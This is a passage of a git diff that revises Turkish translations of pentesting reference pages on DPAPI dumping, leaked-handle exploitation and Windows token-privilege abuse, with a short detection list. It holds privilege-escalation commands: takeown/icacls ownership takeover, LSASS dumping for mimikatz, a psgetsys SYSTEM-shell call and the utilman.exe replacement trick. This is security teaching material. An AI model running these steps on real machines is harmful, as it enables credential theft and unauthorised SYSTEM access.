bilgisayar listesi ile, onları bilmeseniz bile her alt ağı bulabilirsiniz! +LDAP'tan çıkarılan bilgisayar listesi ile, bilmediğiniz her alt ağı bulabilirsiniz! -"Çünkü Etki Alanı Yönetici hakları yeterli değil. Hepsini hackleyin." +### DonPAPI -## DonPAPI +[**DonPAPI**](https://github.com/login-securite/DonPAPI), DPAPI tarafından korunan gizli bilgileri otomatik olarak dökebilir. -[**DonPAPI**](https://github.com/login-securite/DonPAPI), DPAPI tarafından korunan sırları otomatik olarak dökebilir. +### Yaygın tespitler + +- `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` ve diğer DPAPI ile ilgili dizinlerdeki dosyalara erişim. +- Özellikle C$ veya ADMIN$ gibi bir ağ paylaşımından. +- LSASS belleğine erişmek için Mimikatz kullanımı. +- Olay **4662**: Bir nesne üzerinde bir işlem gerçekleştirildi. +- Bu olay, `BCKUPKEY` nesnesine erişilip erişilmediğini kontrol etmek için incelenebilir. ## Referanslar diff --git a/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md b/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md index 0ef2319ca..0569fc884 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md +++ b/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md @@ -8,7 +8,7 @@ Bir süreçteki handle'lar, farklı **Windows kaynaklarına** **erişim** sağla ![RootedCON2022 - Exploiting Leaked Handles for LPE](<../../images/image (246).png>) -Zaten, **açık ve miras alınabilir handle'lara** sahip bir **ayrılmış süreç** tarafından **çalıştırılan** bir **ayrılmış süreç** ile birkaç **yetki yükseltme** vakası olmuştur. +Zaten, **açık ve miras alınabilir handle'lara** sahip bir **ayrılmış süreç** tarafından **çalıştırılan** bir **ayrılmamış süreç** ile birkaç **yetki yükseltme** vakası olmuştur ve bu durum, **bu handle'lara erişim** sağlamaktadır. Örneğin, **SYSTEM olarak çalışan bir süreç yeni bir süreç açtığında** (`OpenProcess()`) **tam erişim** ile. Aynı süreç **düşük ayrıcalıklara sahip yeni bir süreç** (`CreateProcess()`) **oluşturduğunda, ana sürecin tüm açık handle'larını miras alır**.\ Sonrasında, eğer **düşük ayrıcalıklı sürece tam erişiminiz varsa**, `OpenProcess()` ile oluşturulan **ayrılmış sürecin açık handle'ını alabilir** ve **bir shellcode enjekte edebilirsiniz**. @@ -17,7 +17,7 @@ Sonrasında, eğer **düşük ayrıcalıklı sürece tam erişiminiz varsa**, `O ### **Süreç** -Başlangıç örneğinde okuduğunuz gibi, eğer bir **düşük ayrıcalıklı süreç, yeterli izinlere sahip bir **ayrılmış sürecin handle'ını miras alırsa**, üzerinde **rastgele kod çalıştırabilir**. +Başlangıç örneğinde okuduğunuz gibi, eğer bir **ayrılmamış süreç, yeterli izinlere sahip bir **ayrılmış sürecin handle'ını miras alırsa**, üzerinde **rastgele kod çalıştırabilir**. [**bu mükemmel makalede**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) aşağıdaki izinlere sahip herhangi bir süreç handle'ını nasıl istismar edeceğinizi görebilirsiniz: @@ -29,7 +29,7 @@ Başlangıç örneğinde okuduğunuz gibi, eğer bir **düşük ayrıcalıklı s ### Thread -Süreç handle'larına benzer şekilde, eğer bir **düşük ayrıcalıklı süreç, yeterli izinlere sahip bir **ayrılmış sürecin thread handle'ını miras alırsa**, üzerinde **rastgele kod çalıştırabilir**. +Süreç handle'larına benzer şekilde, eğer bir **ayrılmamış süreç, yeterli izinlere sahip bir **ayrılmış sürecin thread handle'ını miras alırsa**, üzerinde **rastgele kod çalıştırabilir**. [**bu mükemmel makalede**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) ayrıca aşağıdaki izinlere sahip herhangi bir süreç handle'ını nasıl istismar edeceğinizi görebilirsiniz: @@ -39,9 +39,9 @@ Süreç handle'larına benzer şekilde, eğer bir **düşük ayrıcalıklı sür ### Dosya, Anahtar ve Bölüm Handle'ları -Eğer bir **düşük ayrıcalıklı süreç,** bir **ayrılmış dosya veya kayıt** üzerinde **yazma** eşdeğer **izinlere sahip bir handle'ı miras alırsa**, dosyayı/kayıt defterini **üstüne yazabilir** (ve bolca **şansla**, **yetki yükseltebilir**). +Eğer bir **ayrılmamış süreç,** bir **ayrılmış dosya veya kayıt defteri** üzerinde **yazma** eşdeğer **izinlere sahip bir handle'ı miras alırsa**, dosya/kayıt defterini **üstüne yazabilir** (ve bolca **şansla**, **yetki yükseltebilir**). -**Bölüm Handle'ları**, dosya handle'larına benzer, bu tür [nesnelerin yaygın adı **"Dosya Haritalama"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping)dır. **Büyük dosyalarla** çalışmak için **tüm dosyayı** bellekte tutmadan kullanılmaktadır. Bu, istismar sürecini "benzer" hale getirir. +**Bölüm Handle'ları**, dosya handle'larına benzer, bu tür [nesnelerin yaygın adı **"Dosya Haritalama"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping)dır. **Büyük dosyalarla** çalışmak için kullanılır, tüm dosyayı bellekte tutmadan. Bu, istismar sürecini bir Dosya Handle'ının istismarına "benzer" hale getirir. ## Süreçlerin Handle'larını Görme @@ -55,13 +55,13 @@ Bir sürecin handle'larını görmek için, süreç üzerine sağ tıklayın ve ![](<../../images/image (616).png>) -Sonrasında handle üzerine sağ tıklayarak **izinleri kontrol edebilirsiniz**: +Sonrasında handle üzerine sağ tıklayıp **izinleri kontrol edebilirsiniz**: ![](<../../images/image (946).png>) ### Sysinternals Handle'ları -[**Handles**](https://docs.microsoft.com/en-us/sysinternals/downloads/handle) binary'si, Sysinternals'tan süreç başına handle'ları konsolda listeleyecektir: +[**Handles**](https://docs.microsoft.com/en-us/sysinternals/downloads/handle) binary'si, Sysinternals'tan, konsolda süreç başına handle'ları listeleyecektir: ![](<../../images/image (720).png>) @@ -71,7 +71,7 @@ Sonrasında handle üzerine sağ tıklayarak **izinleri kontrol edebilirsiniz**: ### Metodoloji -Artık süreçlerin handle'larını nasıl bulacağınızı bildiğinize göre, kontrol etmeniz gereken şey, herhangi bir **düşük ayrıcalıklı sürecin ayrıcalıklı handle'lara erişimi olup olmadığıdır**. Bu durumda, sürecin kullanıcısı handle'ı elde edebilir ve yetki yükseltmek için kötüye kullanabilir. +Artık süreçlerin handle'larını nasıl bulacağınızı bildiğinize göre, kontrol etmeniz gereken şey, herhangi bir **ayrılmamış sürecin ayrılmış handle'lara erişimi olup olmadığıdır**. Bu durumda, sürecin kullanıcısı handle'ı elde edebilir ve yetki yükseltmek için kötüye kullanabilir. > [!WARNING] > Tüm handle'lara erişmek için SeDebugPrivilege gerektiği daha önce belirtilmişti. Ancak bir **kullanıcı, kendi süreçlerinin handle'larına erişebilir**, bu nedenle sadece o kullanıcıdan yetki yükseltmek istiyorsanız, **araçları kullanıcının normal izinleriyle çalıştırmak** faydalı olabilir. @@ -82,7 +82,7 @@ Artık süreçlerin handle'larını nasıl bulacağınızı bildiğinize göre, ## Savunmasız Örnek -Örneğin, aşağıdaki kod, savunmasız bir **Windows servisine** aittir. Bu servisin ikili dosyasındaki savunmasız kod, **`Exploit`** fonksiyonu içinde yer almaktadır. Bu fonksiyon, **tam erişime sahip yeni bir handle süreci oluşturmaya başlar**. Ardından, **düşük ayrıcalıklı bir süreç oluşturur** (düşük ayrıcalıklı _explorer.exe_ token'ını kopyalayarak) _C:\users\username\desktop\client.exe_ dosyasını çalıştırır. **Savunmasızlık, düşük ayrıcalıklı süreci `bInheritHandles` değerini `TRUE` olarak oluşturmasından kaynaklanmaktadır**. +Örneğin, aşağıdaki kod, savunmasız bir **Windows servisine** aittir. Bu servisin savunmasız kodu, **`Exploit`** fonksiyonu içinde yer almaktadır. Bu fonksiyon, **tam erişime sahip yeni bir handle süreci oluşturmaya başlar**. Ardından, **düşük ayrıcalıklı bir süreç oluşturur** (düşük ayrıcalıklı _explorer.exe_ token'ını kopyalayarak) _C:\users\username\desktop\client.exe_ çalıştırır. **Savunmasızlık, düşük ayrıcalıklı süreci `bInheritHandles` değerini `TRUE` olarak oluşturmasından kaynaklanmaktadır**. Bu nedenle, bu düşük ayrıcalıklı süreç, ilk olarak oluşturulan yüksek ayrıcalıklı sürecin handle'ını alabilir ve bir shellcode enjekte edip çalıştırabilir (bir sonraki bölüme bakın). ```c @@ -296,8 +296,8 @@ return 0; > Gerçek bir senaryoda muhtemelen **çalıştırılacak ikiliyi kontrol edemeyeceksiniz** (bu durumda _C:\users\username\desktop\client.exe_). Muhtemelen bir **süreci tehlikeye atacaksınız ve ayrıcalıklı bir sürecin herhangi bir savunmasız handle'ına erişip erişemeyeceğinizi kontrol etmeniz gerekecek**. Bu örnekte _C:\users\username\desktop\client.exe_ için olası bir exploit kodunu bulabilirsiniz.\ -Bu kodun en ilginç kısmı `GetVulnProcHandle` içinde yer almaktadır. Bu fonksiyon **tüm handle'ları almaya başlayacak**, ardından **bunlardan herhangi birinin aynı PID'ye ait olup olmadığını kontrol edecek** ve eğer handle bir **süreç**'e aitse. Tüm bu gereksinimler yerine getirildiğinde (erişilebilir bir açık süreç handle'ı bulunduğunda), **sürecin handle'ını kötüye kullanarak shellcode'u enjekte etmeye ve çalıştırmaya** çalışır.\ -Shellcode'un enjekte edilmesi **`Inject`** fonksiyonu içinde yapılır ve sadece **shellcode'u ayrıcalıklı süreç içinde yazar ve aynı süreç içinde shellcode'u çalıştırmak için bir thread oluşturur**. +Bu kodun en ilginç kısmı `GetVulnProcHandle` içinde yer almaktadır. Bu fonksiyon **tüm handle'ları almaya başlayacak**, ardından **bunlardan herhangi birinin aynı PID'ye ait olup olmadığını kontrol edecek** ve eğer handle bir **süreç**'e aitse. Tüm bu gereksinimler yerine getirildiğinde (erişilebilir bir açık süreç handle'ı bulunduğunda), **sürecin handle'ını kötüye kullanarak bir shellcode enjekte etmeye ve çalıştırmaya** çalışır.\ +Shellcode'un enjekte edilmesi **`Inject`** fonksiyonu içinde yapılır ve sadece **shellcode'u ayrıcalıklı süreç içinde yazar ve aynı süreç içinde bir thread oluşturur** shellcode'u çalıştırmak için. ```c #include #include @@ -503,11 +503,11 @@ return 0; ### Exploit Örneği 2 > [!NOTE] -> Gerçek bir senaryoda muhtemelen **çalıştırılacak ikiliyi kontrol edemeyeceksiniz** (bu durumda _C:\users\username\desktop\client.exe_). Muhtemelen **bir süreci tehlikeye atacaksınız ve ayrıcalıklı bir sürecin herhangi bir savunmasız handle'ına erişip erişemeyeceğinizi kontrol etmeniz gerekecek**. +> Gerçek bir senaryoda muhtemelen **çalıştırılacak ikiliyi kontrol edemeyeceksiniz** (bu durumda _C:\users\username\desktop\client.exe_). Muhtemelen bir **süreci tehlikeye atacaksınız ve ayrıcalıklı bir sürecin herhangi bir savunmasız handle'ına erişip erişemeyeceğinizi kontrol etmeniz gerekecek**. -Bu örnekte, **açık handle'ı kötüye kullanmak yerine** bir shellcode enjekte edip çalıştırmak, **açık ayrıcalıklı handle sürecinin token'ını kullanarak yeni bir tane oluşturmak için** kullanılacak. Bu, 138'den 148'e kadar olan satırlarda yapılmaktadır. +Bu örnekte, **açık handle'ı kötüye kullanmak yerine** bir shellcode enjekte edip çalıştırmak, **açık ayrıcalıklı handle sürecinin token'ını yeni bir tane oluşturmak için kullanacağız**. Bu, 138'den 148'e kadar olan satırlarda yapılmaktadır. -**`UpdateProcThreadAttribute`** fonksiyonunun **`PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` özelliği ve açık ayrıcalıklı sürecin handle'ı ile** nasıl kullanıldığına dikkat edin. Bu, **oluşturulan süreç thread'inin \_cmd.exe**\_\*\* çalıştırırken açık handle sürecinin aynı token ayrıcalığına sahip olacağı anlamına gelir\*\*. +**`UpdateProcThreadAttribute`** fonksiyonunun **`PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` niteliği ve açık ayrıcalıklı sürecin handle'ı ile nasıl kullanıldığına dikkat edin**. Bu, **`cmd.exe`'yi çalıştıran oluşturulan süreç thread'inin** açık handle sürecinin aynı token ayrıcalığına sahip olacağı anlamına gelir. ```c #include #include @@ -672,7 +672,7 @@ return 0; - [**https://github.com/lab52io/LeakedHandlesFinder**](https://github.com/lab52io/LeakedHandlesFinder) -Bu araç, sızdırılan handle'ları izleyerek savunmasız olanları bulmanıza ve hatta otomatik olarak istismar etmenize olanak tanır. Ayrıca bir handle sızdırmak için bir araç da vardır. +Bu araç, sızdırılan handle'ları izleyerek savunmasız olanları bulmanıza ve hatta otomatik olarak istismar etmenize olanak tanır. Ayrıca bir handle sızdırmak için bir araç da içerir. - [**https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles**](https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles) diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md index b45e2455e..e2d7c01ee 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md +++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md @@ -10,11 +10,11 @@ Eğer **Windows Erişim Tokenlarının ne olduğunu bilmiyorsanız** devam etmed access-tokens.md {{#endref}} -**Belki de sahip olduğunuz tokenları kötüye kullanarak ayrıcalıkları yükseltebilirsiniz** +**Belki de sahip olduğunuz tokenları kötüye kullanarak ayrıcalıkları artırabilirsiniz** ### SeImpersonatePrivilege -Bu, herhangi bir tokenın taklit edilmesine (ancak oluşturulmasına değil) izin veren herhangi bir süreç tarafından tutulan bir ayrıcalıktır, yeter ki ona bir handle elde edilebilsin. Ayrıcalıklı bir token, bir Windows hizmetinden (DCOM) NTLM kimlik doğrulamasını bir istismar karşısında gerçekleştirmesi sağlanarak elde edilebilir, bu da ardından SYSTEM ayrıcalıklarıyla bir sürecin çalıştırılmasını sağlar. Bu güvenlik açığı, [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (winrm'nin devre dışı bırakılmasını gerektirir), [SweetPotato](https://github.com/CCob/SweetPotato) ve [PrintSpoofer](https://github.com/itm4n/PrintSpoofer) gibi çeşitli araçlar kullanılarak istismar edilebilir. +Bu, herhangi bir tokenın taklit edilmesine (ancak oluşturulmasına değil) izin veren bir süreç tarafından tutulan bir ayrıcalıktır, yeter ki ona bir referans elde edilebilsin. Bir Windows hizmetinden (DCOM) NTLM kimlik doğrulaması yaptırarak ayrıcalıklı bir token elde edilebilir, bu da ardından SYSTEM ayrıcalıklarıyla bir sürecin çalıştırılmasını sağlar. Bu güvenlik açığı, [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (winrm'nin devre dışı bırakılmasını gerektirir), [SweetPotato](https://github.com/CCob/SweetPotato) ve [PrintSpoofer](https://github.com/itm4n/PrintSpoofer) gibi çeşitli araçlar kullanılarak istismar edilebilir. {{#ref}} roguepotato-and-printspoofer.md @@ -27,8 +27,8 @@ juicypotato.md ### SeAssignPrimaryPrivilege **SeImpersonatePrivilege** ile çok benzer, ayrıcalıklı bir token elde etmek için **aynı yöntemi** kullanır.\ -Bu ayrıcalık, **yeni/askıya alınmış bir sürece birincil token atamaya** izin verir. Ayrıcalıklı taklit token ile birincil bir token türetebilirsiniz (DuplicateTokenEx).\ -Token ile, 'CreateProcessAsUser' ile **yeni bir süreç** oluşturabilir veya askıya alınmış bir süreç oluşturup **tokenı ayarlayabilirsiniz** (genel olarak, çalışan bir sürecin birincil tokenını değiştiremezsiniz). +Bu ayrıcalık, **yeni/askıya alınmış bir sürece** birincil token atamaya izin verir. Ayrıcalıklı taklit token ile birincil token türetebilirsiniz (DuplicateTokenEx).\ +Token ile, 'CreateProcessAsUser' ile **yeni bir süreç** oluşturabilir veya bir süreci askıya alabilir ve **tokenı ayarlayabilirsiniz** (genel olarak, çalışan bir sürecin birincil tokenını değiştiremezsiniz). ### SeTcbPrivilege @@ -36,13 +36,13 @@ Bu tokenı etkinleştirdiyseniz, **KERB_S4U_LOGON** kullanarak herhangi bir kull ### SeBackupPrivilege -Bu ayrıcalık, herhangi bir dosyaya (okuma işlemleriyle sınırlı) **tüm okuma erişim kontrolünü** vermek için sistemin neden olduğu bir ayrıcalıktır. Yerel Yönetici hesaplarının şifre karma değerlerini kayıt defterinden **okumak** için kullanılır, ardından "**psexec**" veya "**wmiexec**" gibi araçlar hash ile kullanılabilir (Pass-the-Hash tekniği). Ancak, bu teknik iki koşul altında başarısız olur: Yerel Yönetici hesabı devre dışı bırakıldığında veya uzaktan bağlanan Yerel Yöneticilerden yönetim haklarını kaldıran bir politika uygulandığında.\ +Bu ayrıcalık, herhangi bir dosyaya (okuma işlemleri ile sınırlı) **tüm okuma erişim** kontrolü vermek için sistemin zorlanmasına neden olur. Yerel Yönetici hesaplarının şifre karma değerlerini kayıt defterinden okumak için kullanılır, ardından "**psexec**" veya "**wmiexec**" gibi araçlar hash ile kullanılabilir (Pass-the-Hash tekniği). Ancak, bu teknik iki koşul altında başarısız olur: Yerel Yönetici hesabı devre dışı bırakıldığında veya uzaktan bağlanan Yerel Yöneticilerden yönetim haklarını kaldıran bir politika uygulandığında.\ Bu ayrıcalığı **kötüye kullanabilirsiniz**: - [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1) - [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug) - **IppSec**'i takip ederek [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec) -- Ya da aşağıdaki **Yedek Operatörlerle Ayrıcalıkları Yükseltme** bölümünde açıklandığı gibi: +- Ya da aşağıdaki **Yedek Operatörleri ile ayrıcalıkları artırma** bölümünde açıklandığı gibi: {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md @@ -50,11 +50,11 @@ Bu ayrıcalığı **kötüye kullanabilirsiniz**: ### SeRestorePrivilege -Herhangi bir sistem dosyasına yazma erişimi için izin sağlayan bu ayrıcalık, dosyanın Erişim Kontrol Listesi (ACL) ne olursa olsun geçerlidir. Hizmetleri **değiştirme**, DLL Hijacking yapma ve çeşitli diğer teknikler arasında **hata ayıklayıcılar** ayarlama gibi birçok yükseltme olanağı sunar. +Bu ayrıcalık, dosyanın Erişim Kontrol Listesi (ACL) ne olursa olsun, herhangi bir sistem dosyasına **yazma erişimi** sağlar. Hizmetleri **değiştirme**, DLL Hijacking yapma ve çeşitli diğer teknikler arasında Görüntü Dosyası Uygulama Seçenekleri aracılığıyla **hata ayıklayıcılar** ayarlama gibi birçok yükseltme olanağı sunar. ### SeCreateTokenPrivilege -SeCreateTokenPrivilege, özellikle bir kullanıcının tokenları taklit etme yeteneğine sahip olduğunda güçlü bir izindir, ancak SeImpersonatePrivilege yoksa da faydalıdır. Bu yetenek, aynı kullanıcıyı temsil eden ve bütünlük seviyesi mevcut sürecin seviyesini aşmayan bir tokenı taklit etme yeteneğine dayanır. +SeCreateTokenPrivilege, özellikle bir kullanıcının tokenları taklit etme yeteneğine sahip olduğunda güçlü bir izindir, ancak SeImpersonatePrivilege yoksa da kullanışlıdır. Bu yetenek, aynı kullanıcıyı temsil eden ve bütünlük seviyesi mevcut sürecin seviyesini aşmayan bir tokenı taklit etme yeteneğine dayanır. **Ana Noktalar:** @@ -92,7 +92,7 @@ Daha fazla bu ayrıcalığı kötüye kullanma yolu için [https://www.ired.team ### SeTakeOwnershipPrivilege -Bu, **SeRestorePrivilege** ile benzerdir. Temel işlevi, bir sürecin **bir nesnenin mülkiyetini üstlenmesine** izin vermek olup, bu da WRITE_OWNER erişim hakları sağlanarak açık takdir erişimi gereksinimini aşar. Süreç, önce yazma amacıyla hedef kayıt defteri anahtarının mülkiyetini güvence altına almayı, ardından yazma işlemlerini etkinleştirmek için DACL'yi değiştirmeyi içerir. +Bu, **SeRestorePrivilege** ile benzerdir. Temel işlevi, bir sürecin **bir nesnenin mülkiyetini üstlenmesine** izin vermek olup, WRITE_OWNER erişim hakları sağlanarak açık takdir erişim gereksinimini aşar. Süreç, önce yazma amacıyla hedef kayıt anahtarının mülkiyetini güvence altına almayı, ardından yazma işlemlerini etkinleştirmek için DACL'yi değiştirmeyi içerir. ```bash takeown /f 'C:\some\file.txt' #Now the file is owned by you icacls 'C:\some\file.txt' /grant :F #Now you have full access @@ -110,11 +110,11 @@ c:\inetpub\wwwwroot\web.config ``` ### SeDebugPrivilege -Bu ayrıcalık, **diğer süreçleri hata ayıklamayı** sağlar, buna bellek içinde okuma ve yazma da dahildir. Çoğu antivirüs ve host saldırı önleme çözümünü atlatabilen çeşitli bellek enjeksiyon stratejileri, bu ayrıcalıkla kullanılabilir. +Bu ayrıcalık, **diğer süreçleri hata ayıklamayı** sağlar, buna bellek içinde okuma ve yazma da dahildir. Çoğu antivirüs ve host saldırı önleme çözümlerini atlatabilen çeşitli bellek enjekte etme stratejileri, bu ayrıcalıkla kullanılabilir. #### Belleği dökme -Bir sürecin **belleğini yakalamak** için [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) aracını [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) üzerinden kullanabilirsiniz. Özellikle, bir kullanıcının bir sisteme başarıyla giriş yaptıktan sonra kullanıcı kimlik bilgilerini depolamakla sorumlu olan **Yerel Güvenlik Otoritesi Alt Sistemi Hizmeti (**[**LSASS**](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service)**)** sürecine uygulanabilir. +Bir sürecin **belleğini yakalamak için** [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) aracını [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) içinden kullanabilirsiniz. Özellikle, bir kullanıcının bir sisteme başarıyla giriş yaptıktan sonra kullanıcı kimlik bilgilerini saklamaktan sorumlu olan **Yerel Güvenlik Otoritesi Alt Sistemi Servisi (**[**LSASS**](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service)**)** sürecine uygulanabilir. Bu dökümü daha sonra şifreleri elde etmek için mimikatz'a yükleyebilirsiniz: ``` @@ -130,7 +130,7 @@ Eğer bir `NT SYSTEM` shell almak istiyorsanız şunları kullanabilirsiniz: - [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit) - [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC) - [**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1) -```powershell +```bash # Get the PID of a process running as NT SYSTEM import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(,) ``` @@ -138,12 +138,12 @@ import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(,- %WINDIR%\MEMORY.DMP dosyasını okuyabiliyorsanız daha ilginç olabilir.

- SeBackupPrivilege (ve robocopy) açık dosyalarla çalışırken yardımcı değildir.

- Robocopy, /b parametresi ile çalışmak için hem SeBackup hem de SeRestore'ye ihtiyaç duyar.

| +| **`SeBackup`** | **Threat** | _**Built-in commands**_ | `robocopy /b` ile hassas dosyaları okuyun |

- %WINDIR%\MEMORY.DMP dosyasını okuyabiliyorsanız daha ilginç olabilir.

- SeBackupPrivilege (ve robocopy) açık dosyalarla çalışırken yardımcı değildir.

- Robocopy, /b parametresi ile çalışmak için hem SeBackup hem de SeRestore'ye ihtiyaç duyar.

| | **`SeCreateToken`** | _**Admin**_ | 3rd party tool | `NtCreateToken` ile yerel yönetici hakları da dahil olmak üzere keyfi bir token oluşturun. | | | **`SeDebug`** | _**Admin**_ | **PowerShell** | `lsass.exe` token'ını kopyalayın. | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | -| **`SeLoadDriver`** | _**Admin**_ | 3rd party tool |

1. szkg64.sys gibi hatalı bir çekirdek sürücüsü yükleyin.
2. Sürücü zafiyetini istismar edin.

Alternatif olarak, bu ayrıcalık güvenlikle ilgili sürücüleri ftlMC yerleşik komutuyla boşaltmak için kullanılabilir. Yani: fltMC sysmondrv

|

1. szkg64 zafiyeti CVE-2018-15732 olarak listelenmiştir.
2. szkg64 istismar kodu Parvez Anwar tarafından oluşturulmuştur.

| -| **`SeRestore`** | _**Admin**_ | **PowerShell** |

1. SeRestore ayrıcalığı ile PowerShell/ISE başlatın.
2. Enable-SeRestorePrivilege ile ayrıcalığı etkinleştirin.
3. utilman.exe'yi utilman.old olarak yeniden adlandırın.
4. cmd.exe'yi utilman.exe olarak yeniden adlandırın.
5. Konsolu kilitleyin ve Win+U tuşlarına basın.

|

Saldırı bazı AV yazılımları tarafından tespit edilebilir.

Alternatif yöntem, aynı ayrıcalığı kullanarak "Program Files" içinde depolanan hizmet ikili dosyalarını değiştirmeye dayanır.

| +| **`SeLoadDriver`** | _**Admin**_ | 3rd party tool |

1. szkg64.sys gibi hatalı bir çekirdek sürücüsü yükleyin.
2. Sürücü zafiyetini istismar edin.

Alternatif olarak, bu ayrıcalık, ftlMC yerleşik komutunu kullanarak güvenlikle ilgili sürücüleri boşaltmak için kullanılabilir. Yani: fltMC sysmondrv

|

1. szkg64 zafiyeti CVE-2018-15732 olarak listelenmiştir.
2. szkg64 istismar kodu Parvez Anwar tarafından oluşturulmuştur.

| +| **`SeRestore`** | _**Admin**_ | **PowerShell** |

1. SeRestore ayrıcalığı mevcutken PowerShell/ISE'yi başlatın.
2. Enable-SeRestorePrivilege ile ayrıcalığı etkinleştirin.
3. utilman.exe'yi utilman.old olarak yeniden adlandırın.
4. cmd.exe'yi utilman.exe olarak yeniden adlandırın.
5. Konsolu kilitleyin ve Win+U tuşlarına basın.

|

Saldırı bazı AV yazılımları tarafından tespit edilebilir.

Alternatif yöntem, aynı ayrıcalığı kullanarak "Program Files" içinde depolanan hizmet ikili dosyalarını değiştirmeye dayanır.

| | **`SeTakeOwnership`** | _**Admin**_ | _**Built-in commands**_ |

1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. cmd.exe'yi utilman.exe olarak yeniden adlandırın.
4. Konsolu kilitleyin ve Win+U tuşlarına basın.

|

Saldırı bazı AV yazılımları tarafından tespit edilebilir.

Alternatif yöntem, aynı ayrıcalığı kullanarak "Program Files" içinde depolanan hizmet ikili dosyalarını değiştirmeye dayanır.

| | **`SeTcb`** | _**Admin**_ | 3rd party tool |

Token'ları yerel yönetici hakları ile manipüle edin. SeImpersonate gerektirebilir.

Doğrulanması gerekiyor.

| | diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md index a6d847834..7786c045c 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md @@ -14,7 +14,7 @@ Eğer **Windows Erişim Tokenlarının ne olduğunu bilmiyorsanız** devam etmed ### SeImpersonatePrivilege -Bu, herhangi bir tokenın taklit edilmesine (ancak oluşturulmasına değil) izin veren herhangi bir süreç tarafından tutulan bir ayrıcalıktır, yeter ki ona bir handle elde edilebilsin. Ayrıcalıklı bir token, bir Windows hizmetinden (DCOM) NTLM kimlik doğrulaması yaptırılarak elde edilebilir, bu da ardından SYSTEM ayrıcalıklarıyla bir sürecin çalıştırılmasını sağlar. Bu güvenlik açığı, [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (winrm'nin devre dışı bırakılmasını gerektirir), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) ve [PrintSpoofer](https://github.com/itm4n/PrintSpoofer) gibi çeşitli araçlar kullanılarak istismar edilebilir. +Bu, herhangi bir tokenın taklit edilmesine (ancak oluşturulmasına değil) izin veren herhangi bir süreç tarafından tutulan bir ayrıcalıktır; bunun için bir handle elde edilebilir. Ayrıcalıklı bir token, bir Windows hizmetinden (DCOM) NTLM kimlik doğrulamasını bir istismar karşısında gerçekleştirmesi sağlanarak elde edilebilir ve bu da bir sürecin SYSTEM ayrıcalıklarıyla çalıştırılmasını sağlar. Bu güvenlik açığı, [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (winrm'nin devre dışı bırakılmasını gerektirir), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) ve [PrintSpoofer](https://github.com/itm4n/PrintSpoofer) gibi çeşitli araçlar kullanılarak istismar edilebilir. {{#ref}} ../roguepotato-and-printspoofer.md @@ -26,23 +26,23 @@ Bu, herhangi bir tokenın taklit edilmesine (ancak oluşturulmasına değil) izi ### SeAssignPrimaryPrivilege -**SeImpersonatePrivilege** ile çok benzer, ayrıcalıklı bir token elde etmek için **aynı yöntemi** kullanır.\ -Bu ayrıcalık, yeni/askıya alınmış bir sürece **birincil token 